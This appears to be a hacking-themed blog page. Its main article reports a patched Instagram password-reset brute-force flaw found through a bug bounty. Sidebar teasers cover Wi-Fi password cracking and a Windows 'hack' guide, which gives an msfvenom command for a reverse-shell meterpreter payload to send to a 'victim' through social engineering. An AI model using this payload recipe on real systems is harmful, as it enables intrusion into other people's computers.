Skip to main content

INSTAGRAM 1 MILLION ACCOUNTS CAN BE HACKED WITHIN 10 MINUTES

Recently, a researcher ‘Laxman Muthiyah‘ from Chennai has found a vulnerability which could allow the hack over of more than 1 million accounts within the minimum, 10 minutes. As stated by him in a blog post, when a user requests for the password reset then Instagram issues a unique randomly generated identifier to each device.

Then the device ID reaches all the devices, which further requests for passcode from them during the Password Reset Process. Instagram using the same device ID verifies the users and all the devices.

Laxman while analyzing this Device ID feature and found out that it is possible to request passcodes for multiple accounts from a single device. It was possible to link a single device or the same Device ID to multiple passcodes for different accounts.

Thus, the probability or the chances of successfully hacking the accounts increase with the increasing number of passcodes requested on a specific device. He further explained in his blog post that for a six-digit passcode there can be one million probabilities that are the numbers could range from 000001 to 999999.

If we request, the passcodes from the same device for 10,000 users the probability of success is 10% but if the number of passcodes requested increases to one million the success rate turns out to be 100%.

Thus, greater the number of passcodes requested by a single device greater are the chances of it being taken over by the attacker. So, eventually, the success of the attack further increases to 100 % by incrementing the passcodes one by one.

As the Instagram passcode is valid only for 10 minutes the entire attack by the hacker takes place within that time limit. To proof his concept of exploitation he used more than a thousand of cloud machine instances.

His method bypasses the Brute Force attack detection technique which Instagram uses to prevent any sort of attacks by unauthorized actors. Previously, Muthiyah had found three Facebook vulnerabilities and had won bug bounty payouts for them.

Another vulnerability was discovered by Laxman last month which allows the attacker to hack any Instagram account by using multiple IPs. The severity of the flaw reported was very high even though it had a limiting factor that the passcode expires within 10 minutes. Facebook rewarded him with $30,000 of bug bounty.

The new flaw is relatively less vulnerable than the previous one reported by him. This time Facebook rewarded the Chennai techie with a bounty of $10,000, as a part of the Tech Giant’s Bug Bounty program.

The bug is now patched and the users are now safe from this vulnerability the photo and video sharing application was earlier open to.

ALSO READ

Comments

Post a Comment

Popular posts from this blog

Cyber Crime | Various Cyber Crime And How To Be Safe From Cyber Crime?

What is Cyber Crime? Cyber Crime is a broad terminology used for the crimes that take place with control over  Networks  and  Computer . Various types of crimes can be committed using computers which are way more impactful than the physical crime scenarios. Hence Cyber Crimes has emerged as a  Big Threat  and continuously been raised problems in front of people who thinks online platform as a safe one. It has made a huge impact on the dependency of work that was a shift from manual to automatic through computers, as  data security  possesses a great risk. What are Various Cyber Crime? There are various ways by which Cyber Crime is being done. Following are some attacks listed that are used for implementing various Cyber Crimes on most of the occasions: Ransomware It is the most widely used  Cyber Crime for financial benefits . In this, the attacker finds a target system and implants any malware in it. This malware is programmed to encrypt the...
Post a Comment
Read more

How To Hack Wifi Password Using Kali Linux

Hello Friends! Today in this tutorial we’re going to discuss “how to hack wifi password using Kali Linux”. I generally use the Bruteforce attack to crack Wi-Fi password. In this attack, we make a monitor mode in the air by some commands that capture Wi-Fi password in the hash form. After capturing that hash form password we need to download a wordlist file, you can get it, by clicking here    . This list contains so many simple passwords. After doing this we use aircrack-ng tool to match the hashes of capture file with the password list. Once it finds a match, it will show you the correct password.  ALSO READ:-  How to hack android phone using Kali Linux? BruteForce Attack It is an attack in which an attacker create a password list which is full of common passwords. There is a tool present in Kali called aircrack-ng which try each and every password present in the wordlist very fast. Start by downloading a wordlist. This will help you later. Let’s begin, open up your...
Post a Comment
Read more

Hack a Windows Computer By Using a Simple Payload

Hello Friends! Today we learn “how to hack computers for beginners”.Before reading this blog, read my previous blog in which I show you  How To Hack Mobile Phone Using Kali Linux.   Similarly, You can hack windows by sending a payload to the victim’s PC. Once the user installs the payload your meterpreter session starts running and then you do anything with the victim’s PC. You can send this payload via social engineering and here lots of methods present to send that payload to the victim’s system. DON’T MISS:-  How To Hack Wifi Password Using Kali Linux?  Let’s Start, Open your terminal and type ifconfig to know your private IP. then type msfvenom -p windows/meterpreter/reverse_tcp lhost=’Your Private IP’ lport=4444 -f exe -a x86 > hackingblogs.exe and then hit enter and your payload for windows is ready. Your payload is present in the root folder. Now, transfer this payload to your victim’s PC. Now open your Metasploit by typing msfconsole After opening Met...
Post a Comment
Read more